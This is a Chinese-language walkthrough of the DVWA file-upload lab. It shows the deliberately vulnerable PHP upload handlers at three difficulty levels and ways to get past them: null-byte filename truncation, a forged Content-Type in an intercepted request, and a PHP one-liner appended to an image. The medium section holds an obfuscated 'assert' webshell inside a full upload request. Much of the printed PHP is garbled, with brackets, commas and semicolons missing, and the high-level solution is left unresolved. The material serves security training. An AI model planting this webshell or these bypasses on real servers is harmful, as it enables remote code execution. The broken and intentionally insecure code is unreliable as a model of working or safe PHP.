当前位置:首页 > PHP教程 > php高级应用 > 列表

DWVA上传漏洞挖掘的测试例子

发布:smiling 来源: PHP粉丝网  添加日期:2018-10-15 09:45:20 浏览: 评论:0 

low:

  1. <?php 
  2.  
  3. if( isset( $_POST'Upload' ] ) ) { 
  4.     // Where are we going to be writing to? 
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"
  6.     $target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 
  7.  
  8.     // Can we move the file to the upload folder? 
  9.     if( !move_uploaded_file( $_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
  10.         // No 
  11.         echo '<pre>Your image was not uploaded.</pre>'
  12.     } 
  13.     else { 
  14.         // Yes! 
  15.         echo "<pre>{$target_path} succesfully uploaded!</pre>"
  16.     } 
  17.  
  18. ?> 

没有对文件类型进行限制,直接将php文件上传,之后访问:http://localhost/hackable/uploads/XX.php即可。

medium:

  1. <?php 
  2.  
  3. if( isset( $_POST'Upload' ] ) ) { 
  4.     // Where are we going to be writing to? 
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"
  6.     $target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 
  7.  
  8.     // File information 
  9.     $uploaded_name = $_FILES'uploaded' ][ 'name' ]; 
  10.     $uploaded_type = $_FILES'uploaded' ][ 'type' ]; 
  11.     $uploaded_size = $_FILES'uploaded' ][ 'size' ]; 
  12.  
  13.     // Is it an image? 
  14.     if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
  15.         ( $uploaded_size < 100000 ) ) { 
  16.  
  17.         // Can we move the file to the upload folder? 
  18.         if( !move_uploaded_file( $_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
  19.             // No 
  20.             echo '<pre>Your image was not uploaded.</pre>'
  21.         } 
  22.         else { 
  23.             // Yes! 
  24.             echo "<pre>{$target_path} succesfully uploaded!</pre>"
  25.         } //phpfensi.com 
  26.     } 
  27.     else { 
  28.         // Invalid file 
  29.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'
  30.     } 
  31.  
  32. ?> 

对上传的文件进行限制。

解决方法1:用burp suite进行00截断,将文件名改为1.php .jpg(注意中间有空格)然后在拦截中将空格改为00。

解决方法2:直接上传2.php文件之后进行拦截,数据包如下:

  1. POST /vulnerabilities/upload/ HTTP/1.1 
  2. Host: localhost 
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0 
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
  6. Accept-Encoding: gzip, deflate 
  7. Referer: http://localhost/vulnerabilities/upload/ 
  8. Cookie: PHPSESSID=pgke4molj8bath1fmdh7mvt686; security=medium 
  9. Connection: keep-alive 
  10. Content-Type: multipart/form-data; boundary=---------------------------143381619322555 
  11. Content-Length: 549 
  12.  
  13. -----------------------------143381619322555 
  14. Content-Disposition: form-data; name="MAX_FILE_SIZE" 
  15.  
  16. 100000 
  17. -----------------------------143381619322555 
  18. Content-Disposition: form-data; name="uploaded"; filename="2.php" 
  19. Content-Type: application/octet-stream 
  20.  
  21. <?php 
  22.  
  23. $item['wind'] = 'assert'
  24.  
  25. $array[] = $item
  26.  
  27. $array[0]['wind']($_POST['loveautumn']); 
  28.  
  29. ?> 
  30. -----------------------------143381619322555 
  31. Content-Disposition: form-data; name="Upload" 
  32.  
  33. Upload 
  34. -----------------------------143381619322555-- 

将红色的部分修改成:Content-Type: image/jpeg即可绕过。

High:

  1. <?php 
  2.  
  3. if( isset( $_POST'Upload' ] ) ) { 
  4.     // Where are we going to be writing to? 
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"
  6.     $target_path .= basename$_FILES'uploaded' ][ 'name' ] ); 
  7.  
  8.     // File information 
  9.     $uploaded_name = $_FILES'uploaded' ][ 'name' ]; 
  10.     $uploaded_ext  = substr$uploaded_namestrrpos$uploaded_name'.' ) + 1); 
  11.     $uploaded_size = $_FILES'uploaded' ][ 'size' ]; 
  12.     $uploaded_tmp  = $_FILES'uploaded' ][ 'tmp_name' ]; 
  13.  
  14.     // Is it an image? 
  15.     if( ( strtolower$uploaded_ext ) == "jpg" || strtolower$uploaded_ext ) == "jpeg" || strtolower$uploaded_ext ) == "png" ) && 
  16.         ( $uploaded_size < 100000 ) && 
  17.         getimagesize$uploaded_tmp ) ) { 
  18.  
  19.         // Can we move the file to the upload folder? 
  20.         if( !move_uploaded_file( $uploaded_tmp$target_path ) ) { 
  21.             // No 
  22.             echo '<pre>Your image was not uploaded.</pre>'
  23.         } 
  24.         else { 
  25.             // Yes! 
  26.             echo "<pre>{$target_path} succesfully uploaded!</pre>"
  27.         } 
  28.     } 
  29.     else { 
  30.         // Invalid file 
  31.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'
  32.     } 
  33.  
  34. ?> 

对图片的命名和类型进行了严格的限制,那么可以用文件头欺骗的方式来解决这个问题。另外,假设文件名为1.php.png,strrpos会截取.出现的最后位置是5,之后substr从第六位开始重新命名文件名,也就是最终上传的文件名会被改成png,会被拦截掉。

首先使用记事本对正常图片文件编辑,将php一句话代码写到图片最下面,保存。这样就可以欺骗文件类型的检测。

最后对文件名的重命名进行绕过。将文件名改为1.php .png上传,用burpsuite拦截:

Content-Disposition: form-data; name="uploaded"; filename="1.php .png"部分修改为:

Content-Disposition: form-data; name="uploaded"; filename="1.php\X00.php .png"的话可以获得一个x00.php .png文件,这个是之前有php任意文件上传漏洞的文章中提到过的。对空格截断无效。目前不知道最终答案,可能是上传一个含有一句话的jpg文件之后采用文件包含来完成?暂时存疑

Tags: DWVA 漏洞挖掘

分享到: